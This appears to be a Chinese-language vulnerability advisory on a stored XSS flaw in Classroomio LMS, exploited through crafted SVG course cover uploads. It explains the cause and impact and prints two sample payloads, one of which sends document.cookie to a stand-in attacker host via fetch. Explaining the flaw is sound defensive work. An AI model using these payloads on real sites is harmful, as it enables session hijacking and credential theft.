CVE-2025-65676CVE-2025-65676是Classroomio LMS学习管理系统中发现的一个存储型跨站脚本(XSS)漏洞,CVSS评分5.4,中危级别。该漏洞存在于系统的课程封面图片上传功能中,攻击者可以通过上传特制的SVG文件注入恶意JavaScript代码。由于SVG文件会被服务器存储并在其他用户访问时重新呈现,恶意脚本将永久保存在系统中,所有查看该课程的用户都会自动执行攻击者植入的代码。Classroomio LMS是一个开源的在线学习平台,被广泛应用于教育机构和企业的在线培训场景。此漏洞允许已认证的低权限用户(攻击者)绕过正常权限限制,执行任意JavaScript代码,从而窃取其他用户的敏感信息,包括会话Cookie、用户凭证等。攻击成功后,攻击者可以完全控制受害者的账户,甚至可能横向移动获取管理员权限,对整个平台造成严重安全威胁。由于该漏洞的存储特性,传统的基于会话的防护措施难以完全防御,需要从输入验证和输出编码两方面进行修复。
该漏洞的技术根源在于Classroomio LMS对用户上传的SVG文件缺乏有效的安全验证。SVG(可缩放矢量图形)是一种基于XML的矢量图形格式,支持内嵌JavaScript代码。当攻击者上传一个包含<script>标签或事件处理器(如onload、onerror)的SVG文件作为课程封面时,服务器仅验证文件扩展名为.svg,却未对文件内容进行安全检查。攻击者可以构造如下SVG payload:<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>。该文件被存储在服务器后,当其他用户访问课程页面时,浏览器会解析SVG并执行其中的JavaScript代码。由于浏览器将SVG作为图片资源处理,内嵌的脚本会被自动执行,这就是经典的SVG XSS攻击向量。攻击者通常会使用更隐蔽的payload来窃取用户会话或执行更复杂的攻击,如使用<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>来绕过某些过滤器。此漏洞的利用条件相对较低,只需低权限认证账户即可发起攻击,且不需要目标用户的交互(存储型XSS自动触发),这大大增加了漏洞的危害性。